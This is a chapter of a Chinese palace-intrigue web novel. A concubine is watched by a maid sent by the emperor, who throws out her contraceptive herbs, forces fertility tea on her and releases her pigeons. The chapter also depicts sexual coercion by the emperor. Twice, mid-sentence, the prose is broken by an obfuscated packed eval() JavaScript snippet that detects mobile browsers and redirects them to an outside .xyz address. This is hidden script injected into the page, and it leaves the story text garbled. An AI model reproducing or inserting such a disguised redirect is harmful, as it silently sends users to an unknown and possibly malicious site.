宁絮带着满腹疑问踏入浴桶，春桃在身后给她揉肩，洗头时还帮她按了头上的穴位。 不知她打哪儿学来的手法，这一通按完，宁絮神清气爽，通体舒泰。 沐浴完毕，进了早膳，宁絮找了个由头支开春桃，而后去院子里找晚云。 “当归、红花和甘草，都还有么？” 晚云知道这是避子汤的材料，她先前给宁絮煮过若干次，早已烂熟于心。 “有是有的，搁置瓷瓶的那个柜子，您去打开，最下一格抽屉里，草纸包的那些就是。不过快要三年没动过了，不知道还能吃不能……” 不管过没过期，她只能吃这些，这会儿想去抓避子的药，药房一定不肯开。 春桃是石虔送来的人，她信不过，要熬药须得亲自来。 按晚云所言，找到那一格抽屉，拉开一看，却没见着有药材。 春桃的声音在她背后响起：“娘娘，您这是做什么？要找东西，与奴婢说一声，这都是奴婢份内的事，哪能叫您受累。” 宁絮指着空荡荡的抽屉：“这里原来放的草纸包呢？你可见过？” “是装着红花、桃仁、姜炭、甘草，以及一些形形色色的药材的草纸包吗？”春桃好整以暇，甚至有耐心一个名字一个名字报给她听。 宁絮冷下脸，抱着双臂打量她。 春桃知趣，立刻给了她答案：“禀娘娘，奴婢看见过的，但兴许是药材放置太久了，这儿水气又大，长霉了，还有小虫子在爬。给陛下过目后，陛下便令奴婢丢掉它们。” 晚云和翠柳在包装方面做得一绝，常年保持干燥，说过期她也就认了，说受潮发霉，纯属拿她当傻子糊弄，还有栽赃陷害两个小姑娘的意思。 但春桃此番摆明了拿石虔压她，她不好说什么，关了柜子，要去院子里逗鸽子解闷。 “你既是负责屋里的事儿的，我没叫你，就不要跟过来了。” “奴婢遵命。”春桃点头，为她理好外袍，“秋天了，风比以前大，娘娘穿严实些，别吹着了。” 这打一巴掌给颗枣的做派，跟石虔还真有点像，不知道他从哪儿找来这么个活佛。 宁絮吃软不吃硬，被她一关怀，脸又拉不下去了，匆匆道了谢，落荒而逃。 她一手给鸽子喂食，一手下意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454497|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚着自己的小腹。昨晚石虔对她毫无保留，现在又喝不到避子汤，只能希望老天保佑，孩子不要有眼无珠落在她身上。 晚云清扫完院子，借着浇花的名头往宁絮附近蹭。宁絮也配合着往她那边挪了两步，小声问她：“春桃没难为你们吧？” “还好，她不直接对我们黑脸，只是安排我们干活罢了。不过我瞧着，她有点笑面虎的意思，有些话明明是好的，说出来就不是那个味道。” 她问宁絮：“春桃照顾您，照顾得如何？她是陛下带过来的，我想她不敢慢待了您，我们把您平时的习惯说给她听了，她可有照做？” 在这方面宁絮不能说违心话：“都照做了，而且……做得无可指摘。” 晚云释然地笑笑：“她用心对您就成，我的话您不必往心里去，处得久了，没准我们会有改观，变得亲密起来。” 翠柳晾好了帕子，也凑过来讲话。没多久，春桃像一道鬼影子，不声不响闪到她们身后，一手一个将她们往后一拉。 她力气大得出奇，二人猝不及防被她扯了一个趔趄。不过她并未放任她俩摔倒，又伸出胳膊恰到好处地接了一下。 晚云和翠柳惊疑未定，看到是她，不由得怒容满面。就算她是高她们一等的大宫女，她二人的质问也忍不住冲口而出。 “你干啥呀，你吩咐的活儿，我们哪一样没做？” 春桃似乎并未把这话视作挑衅，也不打算给她们下马威，将她们从宁絮身边拉开，就再无动作，只心平气静道：“你们活儿干完了，可以找个地方坐着歇息，我不要求你们脚不沾地连轴转。” “但不要闲的没事，就跟娘娘讲闲话，再被我抓到一次，罚跪一个时辰。” 宁絮清了清嗓子：“春桃，我无意以权压人，但你好像忘了，翠微阁是我管事。” “我不算什么主子，真正的主子有且只有一个，就是陛下。因此我也不跟你摆主子的派头。但晚云和翠柳是我的人，我带她们进宫的，我就得照管她们，你在我眼皮底下说要罚她们，罪名却是她们跟我多说了几句话，你觉得这合适吗？” “还是说，这是陛下要你这么做，说我从此不能和她们说话吗？你拿出证据来。” 宁絮甚少和姑娘发火，不管对方是什么身份，做了什么事，只要是个姑娘，她就尽可能和颜悦色。 如此咄咄逼人的样子，连晚云和翠柳都不曾见过，她们呆愣愣地望着她，直到被她拽回到身边，才如梦初醒，崇拜和感激之色溢于言表。 宁絮老母鸡护鸡崽一样，春桃总不能直接上手抢人。不过春桃也没有叫她吓住，只不急不慢道： “娘娘恕罪，陛下不曾对奴婢下过这样的指令，此乃奴婢自作主张。” “不过，”她看了看两个像鹌鹑一样缩在宁絮边上的姑娘，“陛下确有对奴婢交代过，任何不利于娘娘怀孕和保胎的因素，都要想法设法排除。” 宁絮冷笑：“好你个石——” 她终究没把石虔的名字念完，拐了个弯又收回去。在宫中，任何放纵自己心绪的行为都是危险的。 上辈子石虔防着她，不让她在邓皇后生孩子之前怀孕，晚云和翠柳轮着去抓避子汤的药材，药房给得可大方。 一夕之间，这两个听命行事的小姑娘，倒是背了一身污点。 春桃还在唤她：“娘娘，起风了，您在外头也站够了，先进屋喝点热茶吧。” 她不搭腔，拍了拍晚云和翠柳的肩，重重说道：“若有人欺负你们，要记得告诉我。我还不至于窝囊到让你们连开口说话的底气都没有。” 36. 监视 但凡不聋不傻，就听得出宁絮意有所指。 春桃面上如一池静水，大抵是真没把她这位娘娘放在心上，温和但不容置喙地，又催促了一遍：“娘娘，进屋喝茶吧，养身子的。” 宁絮随她进去，觉得这茶闻着跟以往的不一样，问她泡的什么。 春桃笑道：“这是启宫助孕茶，好东西。已经晾得温了，娘娘不必担心烫着，直接喝就是。” 她心烦意乱，叫春桃把茶具端到卧房：“我不渴，一会儿喝，你先干别的去。” 春桃寸步不离，跟她到卧房门口，像老母亲似的念叨：“娘娘趁热喝啊，放冷了再喝伤脾胃。” 宁絮立刻要关门：“我喝！我一定喝，不会让你完不成任务受陛下的责罚，你别跟着了，我换贴身的衣服不想叫人家看。” 把春桃隔绝在门外，而后支着耳朵听动静，听到远去的脚步声，她松一口气。 转身看一眼茶壶，再看看窗子，她决定让春桃的心血付之东流。窗外就是连廊，今日太阳大，风也刮得猛，一壶茶水泼到地上，风水日晒的，没一会儿就干了。 她刚把推开，茶壶还没伸出去，就跟春桃对上了脸。春桃手里抓着扫帚，笑盈盈地看着她：“娘娘可是觉得屋里闷了？” 宁絮心里一麻，茶壶险些拿不稳。这女人真是要了亲命了，跟她处了一天不到，连她下一步要做什么都预判得出来。 “不闷，不闷。”见春桃的眼睛一直盯着茶壶，她讪笑着把茶壶放回桌上，“你不是专门管屋子里的事情吗，怎么又去扫外面？” “这条走廊算是屋里屋外的临界点，谁看到有脏东西，就是谁份内的事，奴婢只不过恰好眼尖。”春桃扫走了两片落叶，不忘叮嘱宁絮，“娘娘，快把茶喝了。” 宁絮自知躲不过，当着她面倒茶，抿了几小口：“可以了吧？我说，你也不必过于尽职尽责，大家都是人，总有犯懒和不情愿的时候。” 春桃莞尔，她笑起来眼角有细纹，却不显得老气横秋，如水波荡漾。若不是吐出来的话太过冰冷，宁絮也要赞她是个春风拂面的美人。 “娘娘，什么事都能犯懒，但是调养身子不能。奴婢往里面加了糖，一点也不苦，您不要再任性了。” 她不知有意无意，扫帚朝地上重重一戳。宁絮一瞬间怀疑，自己要是犟脾气，不肯喝，春桃会用扫帚打她，再捏着她鼻子灌下肚去。 她无可奈何，只得又倒了一小杯慢慢品，问春桃：“你进宫前，是干嘛的？” “做些脏活，换碗饭吃。能得到陛下的青眼，入宫伺侯娘娘，再幸运不过了，所以奴婢一定竭尽所能。” “脏活，指的是什么？” “这就不好说给娘娘听了，怕脏了娘娘的耳朵。” 宁絮噗嗤一乐：“我年轻时候干的活是全天下最脏的，你再脏，脏得过我？” 春桃不上当：“娘娘，您先把茶喝完了，再来问奴婢。不是奴婢吝于开口，事情总要分个轻重缓急。” 宁絮有点体会到，自己满口大道理和宫规的时候，石虔是什么感觉了。真是又想堵住她嘴，又想听她多说点。 她脸一板，指关节屈起来，在窗棂上敲了敲：“你这是在教育本宫吗？随便问你些问题，你还摆上谱了，信不信本宫去皇上跟前，替你美言几句？” 春桃用扫帚把落叶归拢在一处，对她的威胁浑不在意：“娘娘，您不会的。” 她的语气太过于轻松随和，仿若提及一只张牙舞爪的猫儿。小猫吹胡子瞪眼，爪子乱挥，又能把人这种庞然大物怎么着呢？ 宁絮有些挫败，她当年训练的时候，在队内颇说得上话，声音压低了，是很有些不怒自威的气质。出去执行任务，气势上镇得住对方的中级官兵。 春桃的眼睛真毒，吃准了她不是那种爱告状的性子。没准连她和石虔之间的嫌隙，也能看得七七八八。 她本来还想破罐破摔，被拆穿了就直接把茶壶砸了。但看春桃这副不为所动的样子，即便她真砸了，她也会再煮一碗茶汤端到她面前。 如若久久僵持不下，把石虔引来了，最后怕是两人一块儿遭罪。 心里千不甘万不愿，她还是妥协了。茶凉得差不多，甚至没必要倒出来，她径自叼着茶壶嘴，一鼓作气吸完了。 末了将茶壶往春桃那儿一丢，不出意料，被稳稳接住。她几乎赌气道：“你满意了？” 春桃反手扔回去，茶壶擦着宁絮的手臂，精准落在屋内的方桌上。 “娘娘，不要与我，与您自己，或者与其他什么人置气。您眼下也做不成什么事，何不顺其自然呢。” 宁絮正呆滞着，她掏出手绢，顺手擦去她嘴角残余的茶水。 “好喝吗？奴婢加了一勺糖，不知道是过火了还是不够滋味。娘娘有意见尽管提，奴婢下回改进。” “一勺糖可以了，再加就甜过头，味道恐怕不美。” 这茶估计是要常喝，躲不掉，唯有苦中作乐，选定自己能接受的口味，还能骗一骗自己，至少她还有选择的自由。 春桃记下了，少顷，又端来一碗乌鸡汤。 “陛下告知奴婢，御医曾把了脉，说娘娘体虚，应当尽快补上亏空。娘娘在晚膳前，先把汤喝了，进补的同时，不伤着脾胃。” 宁絮咋舌，自己尚无怀胎的迹象，倒是提前坐起月子来了。 一堆汤汤水水下肚，她一天小解的次数远多于往日。临睡前又放了一次水，进了卧房，看见石虔衣襟大敞，已然准备就绪。 “陛下，您现在是连牌子都不翻了，尽逮着臣妾一个人薅。”她太阳穴突突跳，直想把他搭在床头的龙袍扔出去。 “翻了，谁说朕没翻？朕恪守宫规，老老实实翻的，但就刚好翻到你。此乃天意。” 石虔白天上朝，想来一帆风顺，这会儿语气轻快，动作也轻盈。 他其实在这方面颇有些天赋，若真想好好伺侯谁，手法是能包人满意的。换作邓筠或李玉淑，此刻必是受宠若惊，继而食髓知味。 可惜宁絮再也体会不到这事的半分好处，男人或温柔或粗鲁，或昂扬或疲乏，对她来说都与挨刀子无异。她就躺着动弹不得，等着一把又一把刀子把自己的皮肉刮干净，露出森森白骨。 每每这时她思绪就遨游到不知什么地方去了，漫无边际。 不过她跑不跑神，男人是意会不到的，因为她永远不露破绽，到了哪个阶段，就给出恰如其分的反应，音调和表情都做得无可指摘。 石虔一脸餍足，洋洋自得：“怎样？今日总不疼吧？” 倒确实不疼，她也做足了心理准备，没去想太过惨烈的东西，因而此刻算得上体面。 她小脸红扑扑的，娇艳欲滴，摇头的时候一缕发丝粘在颊边，显得明媚而天真。 石虔将这缕头发给她捉下来，别到耳后，搂着她蹭了几下：“三娘，你说，朕还算会疼人吧？” “会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473041|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陛下太会疼人了。” “朕就疼你一个，当务之急，是赶紧再来几个小的，连你们娘仨一块儿疼。”他脸埋入她肩窝，说话声音黏糊得拉丝，“三个够吗？朕不介意再翻一倍。” 宁絮冷汗都下来了，忙说：“够了够了，臣妾怎么生得完。” “也是，不想这许多，头胎还没着落呢。” 石虔半抱着她，掂了掂，满意道：“看来三娘这段时间听话了，好好养着了，朕觉着你比以前丰腴了些。” 废话，每天喝那么多带油的带糖的，不增重发胖才怪。 她撇撇嘴：“陛下，您新派来的这位宫女，好是好，就是太爱给臣妾端吃的喝的。喂猪也不是这么个喂法，吃成大胖子，容易难产的。” “呸呸呸，不准乌鸦嘴。”石虔两个指头夹住她上下唇，给她捏成鸭子嘴，“你之前还怕得要命，这会儿又满口胡言，也不嫌不吉利。” “再过小半月，朕让御医再给你瞧瞧。底子没问题了，看怎么改改食谱。总之眼下最紧要的还是你的身子，御医专门做这些的，你得跟着他们来。” 宁絮叫他折腾一通，人已经困乏了，他说什么她都点头称是，巴望着把这一夜糊弄过去。 但是一夜之后还有一夜，永无止尽似的。石虔每天翻牌都是她，天意不可违，种子一日不生根发芽开花结果，老天爷一日不肯善罢甘休。 然而老天有眼无珠，石虔的辛勤耕种，短时间内并未得到回报。宁絮那时准时不准的癸水，在他造访时突然降临。 他扫兴了一瞬，随即将真实心情掩藏起来，换上一抹灿笑，说正好让她歇息。他们哪怕什么都不做，肩并肩躺在一块儿聊聊小时候的趣事，已是莫大的慰藉。 这一夜难得安宁，宁絮在酥油饼和糖粥的虚幻香气中沉沉入睡。 第二天日晒三杆了，她方才悠悠醒转，用过了早膳，照常要去院子里给鸽子们喂食。 鸽舍的门大敞着，里面除了稻草，什么也不剩。 晚云和翠柳在后院除杂草，被她找过来的时候还一脸懵懂，直言早上才喂过它们。 她们俩对这十几只鸽子的感情很深，宁絮不在的那两年，都是她们亲力亲为喂养。鸽子们也在这呆惯了，就算打开鸽舍，它们在周边飞一圈，还是会老老实实回来。 始作俑者不消说了，只能是那个外来的。 宁絮怒气冲冲，去里屋抓着春桃质问道：“我养的那些鸽子，是不是你放走的？你把它们放去哪里了？” 春桃眼皮抬了一下，镇定自若道：“娘娘，奴婢是管屋里活计的。鸽子都养在院子里，娘娘兴师问罪，怎么就专找奴婢呢？” “你少装糊涂，晚云和翠柳照料鸽子这么久，断没有道理背着我丢弃它们。”宁絮气急，抓着她肩膀左摇右晃，“它们到底在哪？” 春桃好脾气地作投降状：“娘娘可别激动了，奴婢认罪，的确是奴婢放的。但是具体去了哪儿，奴婢也说不清楚，它们是让人收走了。收作何用，奴婢干涉不了。” 收走一词，让宁絮大感不妙。若是哪天送给她喝的鸽子汤，就来源于此，她把嗓子抠穿都不够吐的。 她气急，两眼发黑，攥着春桃的袖子：“又是石虔命令你的？” 春桃由她抓，另一只胳膊抬起来护着她，闻言顿了顿，又道：“这回怨不得陛下，真是奴婢自己拿的主意。禽鸟身上多半有病，娘娘预备怀胎生子，还是不要与它们接触了。”